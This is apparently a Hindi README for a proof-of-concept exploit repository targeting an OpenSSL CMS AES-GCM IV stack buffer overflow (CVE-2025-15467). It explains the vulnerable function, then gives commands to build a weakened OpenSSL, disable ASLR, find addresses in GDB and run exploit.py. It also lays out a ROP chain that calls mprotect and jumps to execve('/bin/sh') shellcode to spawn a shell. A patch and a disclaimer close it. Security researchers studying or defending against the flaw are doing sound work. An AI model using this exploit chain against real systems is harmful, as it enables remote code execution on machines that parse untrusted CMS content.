
OpenSSL स्टैक बफर ओवरफ्लो CVE-2025-15467 के लिए कमांड निष्पादन PoC
CVE-2025-15467 OpenSSL के CMS (क्रिप्टोग्राफिक मैसेज सिंटैक्स) पार्सिंग कोड में एक गंभीर स्टैक बफ़र ओवरफ़्लो भेद्यता है। यह भेद्यता evp_cipher_get_asn1_aead_params() फ़ंक्शन में मौजूद है, जब CMS AuthEnvelopedData संरचनाओं में AES-GCM इनिशियलाइज़ेशन वेक्टर (IV) को प्रोसेस किया जाता है।
| गुण | मान |
|---|---|
| CVE ID | CVE-2025-15467 |
| गंभीरता | उच्च |
| CVSS | 8.1+ |
| प्रभावित संस्करण | OpenSSL 3.0 - 3.6 (पैच से पहले) |
| प्रभाव | रिमोट कोड निष्पादन (RCE) |
| हमला वेक्टर | नेटवर्क (दुर्भावनापूर्ण CMS/S-MIME पार्स करना) |
| प्रमाणीकरण | कोई आवश्यकता नहीं |
भेद्यता crypto/evp/evp_lib.c में स्थित है:
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
evp_cipher_aead_asn1_params *asn1_params)
{
int i = 0;
long tl;
unsigned char iv[EVP_MAX_IV_LENGTH]; // Fixed 16-byte buffer!
if (type == NULL || asn1_params == NULL)
return 0;
i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
if (i <= 0)
return -1;
// BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
ossl_asn1_type_get_octetstring_int(type, &tl, iv, i); // OVERFLOW!
memcpy(asn1_params->iv, iv, i);
asn1_params->iv_len = i;
return i;
}
iv एक फिक्स्ड 16-बाइट स्टैक बफ़र है (EVP_MAX_IV_LENGTH = 16)ossl_asn1_type_get_octetstring_int() का पहला कॉल फ़ाइल से IV की लंबाई लौटाता हैi) को max_len पैरामीटर के रूप में उपयोग करता हैi > 16, तो फ़ंक्शन बफ़र से परे लिखता है → स्टैक बफ़र ओवरफ़्लोCMS डिक्रिप्शन के दौरान GCM पैरामीटर्स को पार्स करते समय ओवरफ़्लो होता है। एक हमलावर:
कोई भी एप्लिकेशन जो AEAD सिफ़र्स के साथ अविश्वसनीय CMS/PKCS#7 सामग्री को पार्स करता है:
CMS_decrypt() या समान फ़ंक्शन को कॉल करता है# Install dependencies
pip install pwntools # Optional, for auto gadget detection
# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467
# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh
या मैन्युअल रूप से:
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0
# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
--prefix=/opt/openssl-vuln \
-fno-stack-protector \
-D_FORTIFY_SOURCE=0 \
-z execstack
make -j$(nproc)
sudo make install
cd ..
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64
# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
-days 1 -subj "/CN=Test"
# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
-in plain.txt -out valid.cms -outform DER dummy.crt
# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
-inkey dummy.key -recip dummy.crt
एक्सप्लॉइट ASLR बंद होने पर स्वचालित रूप से पतों का पता लगा सकता है:
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
/opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt
# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt
# You should get a shell!
यदि ऑटो-डिटेक्शन विफल हो जाता है, तो मैन्युअल रूप से पते प्राप्त करें:
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl
(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp # Get stack address
उदाहरण आउटपुट:
libc-2.31.so: 0x7ffff7711000
libcrypto.so.3: 0x7ffff7936000
RSP: 0x7fffffffdc58
फिर एक्सप्लॉइट जनरेट करें:
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms
# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt
mprotect() को कॉल करने और स्टैक को निष्पादन योग्य बनाने के लिए रिटर्न-ओरिएंटेड प्रोग्रामिंग का उपयोग करता हैmprotect() के बाद, jmp rsp गैजेट के माध्यम से स्टैक पर शेलकोड पर जाता हैexecve("/bin/sh", NULL, NULL) निष्पादित करके एक शेल स्पॉन करता है[padding: 56 bytes to reach saved RIP]
[pop rdi; ret] <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret] <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0] <- Dummy for RBX
[mprotect] <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp] <- Jump to shellcode
[shellcode] <- execve("/bin/sh", NULL, NULL)
| फ़ाइल | विवरण |
|---|---|
exploit.py | ऑटो-डिटेक्शन और मैन्युअल मोड के साथ मुख्य एक्सप्लॉइट |
setup.sh | कमजोर OpenSSL को संकलित करने के लिए स्क्रिप्ट |
README.md | यह दस्तावेज़ीकरण |
TECHNICAL.md | भेद्यता में तकनीकी गहराई से जानकारी |
OpenSSL को अपडेट करें पैच किए गए संस्करणों में:
पैच लगने तक अविश्वसनीय CMS/S-MIME सामग्री को प्रोसेस न करें
if (i > EVP_MAX_IV_LENGTH)
return -1;
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);
| तिथि | घटना |
|---|---|
| 2025-12-14 | OpenSSL को भेद्यता की सूचना दी गई |
| 2026-01-27 | सुरक्षा सलाहकार प्रकाशित किया गया |
| 2026-01-27 | पैच जारी किए गए |
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। जिम्मेदारी से उपयोग करें।